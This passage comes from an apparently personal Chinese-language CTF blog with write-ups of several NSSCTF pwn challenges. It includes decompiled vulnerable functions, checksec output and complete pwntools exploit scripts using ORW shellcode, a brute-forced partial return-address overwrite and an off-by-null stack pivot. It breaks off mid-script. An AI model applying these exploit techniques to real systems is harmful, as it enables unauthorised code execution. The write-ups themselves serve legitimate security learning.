class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">ssize_t</span> <span class="title function_">vulnerable</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">32</span>]; <span class="comment">// [rsp+0h] [rbp-20h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;your door&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x40</span>uLL);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">int</span> __fastcall <span class="title function_">sandbox</span><span class="params">(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6)</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 v7; <span class="comment">// [rsp+0h] [rbp-40h] BYREF</span></span><br><span class="line">  __int16 v8; <span class="comment">// [rsp+10h] [rbp-30h] BYREF</span></span><br><span class="line">  <span class="type">char</span> v9; <span class="comment">// [rsp+12h] [rbp-2Eh]</span></span><br><span class="line">  <span class="type">char</span> v10; <span class="comment">// [rsp+13h] [rbp-2Dh]</span></span><br><span class="line">  <span class="type">int</span> v11; <span class="comment">// [rsp+14h] [rbp-2Ch]</span></span><br><span class="line">  __int16 v12; <span class="comment">// [rsp+18h] [rbp-28h]</span></span><br><span class="line">  <span class="type">char</span> v13; <span class="comment">// [rsp+1Ah] [rbp-26h]</span></span><br><span class="line">  <span class="type">char</span> v14; <span class="comment">// [rsp+1Bh] [rbp-25h]</span></span><br><span class="line">  <span class="type">int</span> v15; <span class="comment">// [rsp+1Ch] [rbp-24h]</span></span><br><span class="line">  __int16 v16; <span class="comment">// [rsp+20h] [rbp-20h]</span></span><br><span class="line">  <span class="type">char</span> v17; <span class="comment">// [rsp+22h] [rbp-1Eh]</span></span><br><span class="line">  <span class="type">char</span> v18; <span class="comment">// [rsp+23h] [rbp-1Dh]</span></span><br><span class="line">  <span class="type">int</span> v19; <span class="comment">// [rsp+24h] [rbp-1Ch]</span></span><br><span class="line">  __int16 v20; <span class="comment">// [rsp+28h] [rbp-18h]</span></span><br><span class="line">  <span class="type">char</span> v21; <span class="comment">// [rsp+2Ah] [rbp-16h]</span></span><br><span class="line">  <span class="type">char</span> v22; <span class="comment">// [rsp+2Bh] [rbp-15h]</span></span><br><span class="line">  <span class="type">int</span> v23; <span class="comment">// [rsp+2Ch] [rbp-14h]</span></span><br><span class="line">  __int16 v24; <span class="comment">// [rsp+30h] [rbp-10h]</span></span><br><span class="line">  <span class="type">char</span> v25; <span class="comment">// [rsp+32h] [rbp-Eh]</span></span><br><span class="line">  <span class="type">char</span> v26; <span class="comment">// [rsp+33h] [rbp-Dh]</span></span><br><span class="line">  <span class="type">int</span> v27; <span class="comment">// [rsp+34h] [rbp-Ch]</span></span><br><span class="line">  __int16 v28; <span class="comment">// [rsp+38h] [rbp-8h]</span></span><br><span class="line">  <span class="type">char</span> v29; <span class="comment">// [rsp+3Ah] [rbp-6h]</span></span><br><span class="line">  <span class="type">char</span> v30; <span class="comment">// [rsp+3Bh] [rbp-5h]</span></span><br><span class="line">  <span class="type">int</span> v31; <span class="comment">// [rsp+3Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  v8 = <span class="number">32</span>;</span><br><span class="line">  v9 = <span class="number">0</span>;</span><br><span class="line">  v10 = <span class="number">0</span>;</span><br><span class="line">  v11 = <span class="number">4</span>;</span><br><span class="line">  v12 = <span class="number">21</span>;</span><br><span class="line">  v13 = <span class="number">0</span>;</span><br><span class="line">  v14 = <span class="number">2</span>;</span><br><span class="line">  v15 = <span class="number">-1073741762</span>;</span><br><span class="line">  v16 = <span class="number">32</span>;</span><br><span class="line">  v17 = <span class="number">0</span>;</span><br><span class="line">  v18 = <span class="number">0</span>;</span><br><span class="line">  v19 = <span class="number">0</span>;</span><br><span class="line">  v20 = <span class="number">21</span>;</span><br><span class="line">  v21 = <span class="number">0</span>;</span><br><span class="line">  v22 = <span class="number">1</span>;</span><br><span class="line">  v23 = <span class="number">59</span>;</span><br><span class="line">  v24 = <span class="number">6</span>;</span><br><span class="line">  v25 = <span class="number">0</span>;</span><br><span class="line">  v26 = <span class="number">0</span>;</span><br><span class="line">  v27 = <span class="number">0</span>;</span><br><span class="line">  v28 = <span class="number">6</span>;</span><br><span class="line">  v29 = <span class="number">0</span>;</span><br><span class="line">  v30 = <span class="number">0</span>;</span><br><span class="line">  v31 = <span class="number">2147418112</span>;</span><br><span class="line">  LOWORD(v7) = <span class="number">6</span>;</span><br><span class="line">  prctl(<span class="number">38</span>, <span class="number">1LL</span>, <span class="number">0LL</span>, <span class="number">0LL</span>, <span class="number">0LL</span>, a6, v7, &amp;v8);</span><br><span class="line">  <span class="keyword">return</span> prctl(<span class="number">22</span>, <span class="number">2LL</span>, &amp;v7);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>发现有sandbox使用seccomp-tools查看</p><p>​<img src="https://raw.githubusercontent.com/yezere/images/master/image-20241112221758-1ku4us9.png" alt="image">​</p><p>​<img src="https://raw.githubusercontent.com/yezere/images/master/image-20241112222703-qbrvjdh.png" alt="image">​</p><p>栈可执行</p><p>由于可控空间太小，栈可执行，修改rax和rdi为0，然后修改rdx为0x100，然后rsi添加0x100调用syscall。</p><p>由于read的时候rsi为栈中buf的值，所以我们call rsi即可返回buf里，然后执行<code>xor rax, rax; xor rdi, rdi; push 0x100; pop rdx; add rsi, 0x100; syscall; call rsi;</code>​读取一段汇编到rsi里面，然后调用rsi里的代码</p><p>​<img src="https://raw.githubusercontent.com/yezere/images/master/image-20241112223602-wd6l2zr.png" alt="image">​</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">    port = <span class="number">20846</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line">clibc = cdll.LoadLibrary(<span class="string">&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;</span>)</span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line">info(<span class="string">&quot;rdi addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line">v3 = clibc.time(<span class="number">0</span>)</span><br><span class="line">v4 = clibc.srand(v3)</span><br><span class="line">v5 = clibc.rand() % <span class="number">50</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(v5)</span><br><span class="line">sl(<span class="built_in">str</span>(v5))</span><br><span class="line">offset = <span class="number">0x20</span> + <span class="number">8</span></span><br><span class="line">shellcode = asm(<span class="string">&#x27;xor rax, rax; xor rdi, rdi; push 0x100; pop rdx; add rsi, 0x100; syscall; call rsi;&#x27;</span>)</span><br><span class="line">orw_shellcode = asm(shellcraft.<span class="built_in">open</span>(<span class="string">&#x27;flag&#x27;</span>) + shellcraft.read(<span class="string">&#x27;rax&#x27;</span>, elf.bss() + <span class="number">0x100</span>, <span class="number">0x30</span>) + shellcraft.write(<span class="number">1</span>, elf.bss() + <span class="number">0x100</span>, <span class="number">0x30</span>))</span><br><span class="line">call_rsi = <span class="number">0x0000000000400c23</span></span><br><span class="line"><span class="comment"># debug()</span></span><br><span class="line">sa(<span class="string">b&#x27;door\n&#x27;</span>, shellcode.ljust(<span class="number">0x28</span>, <span class="string">b&#x27;\x00&#x27;</span>) + p64(call_rsi))</span><br><span class="line">s(orw_shellcode)</span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><p>应该好好学习orw的，这个地方就有点懵了</p><h2 id="11-13"><a href="#11-13" class="headerlink" title="11.13"></a>11.13</h2><h3 id="UUCTF-2022-新生赛-easystack"><a href="#UUCTF-2022-新生赛-easystack" class="headerlink" title="[UUCTF 2022 新生赛]easystack"></a>[UUCTF 2022 新生赛]easystack</h3><p>开启了PIE和NX</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">$ checksec pwn</span><br><span class="line">[*] <span class="string">&#x27;/home/pwn/pwn/nssctf/11.13/UUCTF_2022_新生赛_easystack/pwn&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      No canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br><span class="line">    Stripped:   No</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">vuln</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> buf[<span class="number">256</span>]; <span class="comment">// [rsp+0h] [rbp-100h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;I am back! Can you beat me this time?\n&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;What&#x27;s your name?&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x10A</span>uLL);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;Hello, %s\n&quot;</span>, buf);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>发现就溢出了10字节，可以覆盖掉ebp和ret的后两个字节</p><p>栈上的 partial overwrite</p><p>后门的后两个字节为<code>0000000000001185</code>​</p><p>所以可以爆破</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>():</span><br><span class="line">    offset = <span class="number">0x100</span> + <span class="number">8</span></span><br><span class="line">    payload = cyclic(offset) + <span class="string">b&#x27;\x85\x11&#x27;</span></span><br><span class="line">    sl(payload)</span><br><span class="line">    r()</span><br><span class="line">    sl(<span class="string">&quot;id&quot;</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="string">b&quot;uid&quot;</span> <span class="keyword">in</span> r():</span><br><span class="line">        inter()</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        p.close()</span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">            context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">        context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line">        <span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">            ip = <span class="string">&quot;xxx&quot;</span></span><br><span class="line">            port = <span class="number">1111</span></span><br><span class="line">            p = remote(ip, port)</span><br><span class="line">        <span class="keyword">else</span>:</span><br><span class="line">            p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">            info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">        elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">        pwn()</span><br><span class="line">    <span class="keyword">except</span>:</span><br><span class="line">        p.close()</span><br></pre></td></tr></table></figure><p>​<img src="https://raw.githubusercontent.com/yezere/images/master/image-20241113093933-x7vj42h.png" alt="image">​</p><p>爆破成功</p><h3 id="HDCTF-2023-Makewish"><a href="#HDCTF-2023-Makewish" class="headerlink" title="[HDCTF 2023]Makewish"></a>[HDCTF 2023]Makewish</h3><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">$ python3 exp.py     </span><br><span class="line">[+] Starting <span class="built_in">local</span> process <span class="string">&#x27;./pwn&#x27;</span>: pid 19701</span><br><span class="line">[*] pid: 19701</span><br><span class="line">[*] <span class="string">&#x27;/home/pwn/pwn/nssctf/11.13/HDCTF_2023_Makewish/pwn&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Partial RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        No PIE (0x400000)</span><br><span class="line">    Stripped:   No</span><br><span class="line">[*] Loading gadgets <span class="keyword">for</span> <span class="string">&#x27;/home/pwn/pwn/nssctf/11.13/HDCTF_2023_Makewish/pwn&#x27;</span></span><br><span class="line">[*] ret addr : 0x4005d9</span><br><span class="line">[*] rdi addr : 0x400993</span><br><span class="line">[*] Stopped process <span class="string">&#x27;./pwn&#x27;</span> (pid 19701)</span><br></pre></td></tr></table></figure><p>发现开启了NX和Canary</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v4; <span class="comment">// [rsp+8h] [rbp-38h] BYREF</span></span><br><span class="line">  <span class="type">int</span> v5; <span class="comment">// [rsp+Ch] [rbp-34h]</span></span><br><span class="line">  <span class="type">char</span> buf[<span class="number">40</span>]; <span class="comment">// [rsp+10h] [rbp-30h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v7; <span class="comment">// [rsp+38h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v7 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  init(argc, argv, envp);</span><br><span class="line">  v5 = rand() % <span class="number">1000</span> + <span class="number">324</span>;</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;tell me you name\n&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">0x30</span>uLL);<span class="comment">//可以泄露canary</span></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;hello,&quot;</span>);</span><br><span class="line">  <span class="built_in">puts</span>(buf);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;tell me key\n&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, &amp;v4, <span class="number">4uLL</span>);</span><br><span class="line">  <span class="keyword">if</span> ( v5 == v4 )</span><br><span class="line">    <span class="keyword">return</span> vuln();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;failed&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line">__int64 <span class="title function_">vuln</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  _BYTE buf[<span class="number">88</span>]; <span class="comment">// [rsp+0h] [rbp-60h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v2; <span class="comment">// [rsp+58h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v2 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;welcome to HDctf,You can make a wish to me&quot;</span>);</span><br><span class="line">  buf[(<span class="type">int</span>)read(<span class="number">0</span>, buf, <span class="number">0x60</span>uLL)] = <span class="number">0</span>;<span class="comment">//off_by_null</span></span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;sorry,i can&#x27;t do that&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0LL</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>具体为什么能够栈迁移呢</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">.text:<span class="number">00000000004008E5</span>                 mov     eax, <span class="number">0</span></span><br><span class="line">.text:<span class="number">00000000004008</span>EA                 call    _read</span><br><span class="line">.text:<span class="number">00000000004008</span>EF                 mov     eax, [rbp+var_38]</span><br><span class="line">.text:<span class="number">00000000004008F</span>2                 cmp     [rbp+var_34], eax</span><br><span class="line">.text:<span class="number">00000000004008F</span>5                 jnz     <span class="type">short</span> loc_400905</span><br><span class="line">.text:<span class="number">00000000004008F</span>7                 mov     eax, <span class="number">0</span></span><br><span class="line">.text:<span class="number">00000000004008F</span>C                 call    vuln</span><br><span class="line">.text:<span class="number">0000000000400901</span>                 leave</span><br><span class="line">.text:<span class="number">0000000000400902</span>                 retn</span><br></pre></td></tr></table></figure><p>一开始我不理解的，但是看汇编就理解了调用了vuln函数结束leave;ret篡改了ebp导致ebp的值为fake_ebp，然而esp正常执行完vuln后再次执行leave;ret;就修改了esp为ebp也就指向了fake_ebp，然后ret就是<code>add esp+4;mov eip,[esp-4]</code>​我们只能返回到00也就是得多写ret来保证成功率，这样返回00能滑到后门函数中</p><p>​<img src="https://raw.githubusercontent.com/yezere/images/master/image-20241113100353-feh0kc6.png" alt="image">​</p><p>可以覆盖至canary</p><p>发现key是0x2c3</p><p>​<img src="https://raw.githubusercontent.com/yezere/images/master/image-20241113100954-5ai79x6.png" alt="image">​</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line">from <span class="keyword">struct</span> import pack</span><br><span class="line">from ctypes import *</span><br><span class="line">from pwn import *</span><br><span class="line">def <span class="title function_">s</span><span class="params">(a)</span> : p.<span class="title function_">send</span><span class="params">(a)</span></span><br><span class="line">def <span class="title function_">sa</span><span class="params">(a, b)</span> : p.<span class="title function_">sendafter</span><span class="params">(a, b)</span></span><br><span class="line">def <span class="title function_">sl</span><span class="params">(a)</span> : p.<span class="title function_">sendline</span><span class="params">(a)</span></span><br><span class="line">def <span class="title function_">sla</span><span class="params">(a, b)</span> : p.<span class="title function_">sendlineafter</span><span class="params">(a, b)</span></span><br><span class="line">def <span class="title function_">r</span><span class="params">()</span> : <span class="keyword">return</span> p.<span class="title function_">recv</span><span class="params">()</span></span><br><span class="line">def <span class="title function_">pr</span><span class="params">()</span> : <span class="title function_">print</span><span class="params">(p.recv())</span></span><br><span class="line">def <span class="title function_">rl</span><span class="params">(a)</span> : <span class="keyword">return</span> p.<span class="title function_">recvuntil</span><span class="params">(a)</span></span><br><span class="line">def <span class="title function_">inter</span><span class="params">()</span> : p.<span class="title function_">interactive</span><span class="params">()</span></span><br><span class="line">def <span class="title function_">debug</span><span class="params">()</span>:</span><br><span class="line">    gdb.<span class="title function_">attach</span><span class="params">(p)</span></span><br><span class="line">    <span class="title function_">pause</span><span class="params">()</span></span><br><span class="line">def <span class="title function_">get_addr</span><span class="params">()</span> : <span class="keyword">return</span> <span class="title function_">u64</span><span class="params">(p.recvuntil(b<span class="string">&#x27;\x7f&#x27;</span>)[<span class="number">-6</span>:].ljust(<span class="number">8</span>, b<span 